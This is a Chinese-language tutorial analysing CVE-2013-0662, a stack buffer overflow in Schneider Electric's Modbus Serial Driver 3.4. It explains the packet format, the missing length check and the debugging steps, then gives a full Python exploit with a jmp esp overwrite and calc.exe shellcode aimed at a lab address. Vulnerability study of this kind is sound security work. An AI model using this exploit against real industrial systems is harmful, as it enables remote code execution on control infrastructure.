SEIG Modbus 3.4 CVE-2013-0662 漏洞分析与利用教学文档

漏洞概述

CVE-2013-0662是Schneider Electric Modbus Serial Driver 3.4版本中存在的一个栈溢出漏洞。该漏洞存在于ModbusDrv.exe程序中，程序监听27700端口，在处理客户端发送的特定格式数据时会导致栈缓冲区溢出，可能被攻击者利用来执行任意代码。

漏洞环境

• 受影响软件：Schneider Electric Modbus Serial Driver 3.4
• 测试环境：Windows XP SP3
• 监听端口：27700
• 受影响进程：ModbusDrv.exe

漏洞分析

协议处理流程

1. 程序首先接收7字节的数据包，结构如下：

   struct recv_struct {
       __int16 nop;    // 无用字段(2字节)
       __int16 key;    // 关键字段，决定后续处理流程(2字节)
       __int16 size;   // 控制后续接收数据大小的字段(2字节)
       char padding;   // 填充字节(1字节)
   };
   

2. 关键处理逻辑：

   • 当key字段值为0xFFFF时，程序会根据size字段的值再次接收数据
   • 第二次接收的数据大小由size-1决定
   • 接收的数据会被存入固定大小的栈缓冲区

漏洞点定位

1. 使用IDA交叉引用定位：

   • 搜索recv函数的引用，找到数据接收函数
   • 分析调用链找到协议处理主函数

2. 使用调试器硬件断点定位：

   • 在recv函数下断点
   • 获取接收缓冲区地址
   • 在缓冲区设置硬件断点跟踪数据处理过程

漏洞细节

1. 第一次接收：

   • 接收7字节数据
   • 解析关键字段：
     • 第3-4字节：key字段(大端序)
     • 第5-6字节：control_size字段(大端序)，后续接收大小为control_size-1

2. 第二次接收：

   • 当key == 0xFFFF时触发
   • 接收control_size-1字节数据到栈缓冲区
   • 栈缓冲区大小有限(0x830字节)，未进行长度校验导致溢出

3. 数据处理校验：

   • 第二次接收的数据前2字节必须为0x0064(大端序)
   • 否则调用ExitThread结束线程
   • 有效数据会被复制到另一个栈缓冲区(大小仅0x5DC字节)

漏洞利用

利用条件

1. 目标系统：Windows XP SP3(无DEP保护)
2. 利用方式：经典的jmp esp + shellcode方式

利用步骤

1. 构造第一次数据包：

   • 前2字节：任意值(如\xaa\xbb)
   • 第3-4字节：\xff\xff(触发第二次接收)
   • 第5-6字节：精心计算的大小值(如\x07\x10)
   • 第7字节：填充字节(如\xdd)

2. 构造第二次数据包：

   • 前2字节：\x00\x64(通过校验)
   • 填充数据：覆盖缓冲区(0x5DC字节)
   • 覆盖返回地址：使用通用跳转地址(如0x7ffa4512)
   • 插入shellcode
   • 剩余空间填充

利用代码示例

def calc_exp():
    shellcode = "\x90" * 100  # NOP sled
    shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
    shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
    shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
    shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
    shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
    shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
    shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
    shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
    shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
    shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
    shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
    shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
    shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
    shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
    shellcode += "\xff\xd5\x63\x61\x6c\x63\x00"  # calc.exe shellcode

    ip = "192.168.245.134"
    port = 27700
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    
    # 第一次数据包
    payload = "\xaa\xbb"  # 无用字段
    payload += "\xff\xff"  # 触发第二次接收
    payload += "\x07\x10"  # size字段
    payload += "\xdd"      # 填充字节
    
    # 第二次数据包
    payload += "\x00\x64"  # 通过校验
    payload += "A" * 0x5dc # 填充缓冲区
    payload += p32(0x7ffa4512)  # 通用jmp esp地址(XP/2003)
    payload += shellcode
    payload += "B" * (0x710 - 1 - 2 - 0x5dc - 4 - len(shellcode))
    
    sock.send(payload)

漏洞修复

厂商通过添加对长度字段的校验来修复此漏洞，确保接收的数据大小不会超过缓冲区容量。

参考链接

1. Exploit-DB上的漏洞详情
2. 漏洞利用示例代码
3. 相关工具下载链接(原文中提供的百度网盘链接)

总结

该漏洞是典型的栈溢出漏洞，由于缺乏对输入数据长度的校验导致。利用时需要精心构造数据包以通过程序的各种校验，最终通过覆盖返回地址实现代码执行。在实际利用中，需要注意目标系统的环境差异，特别是跳转地址的选择。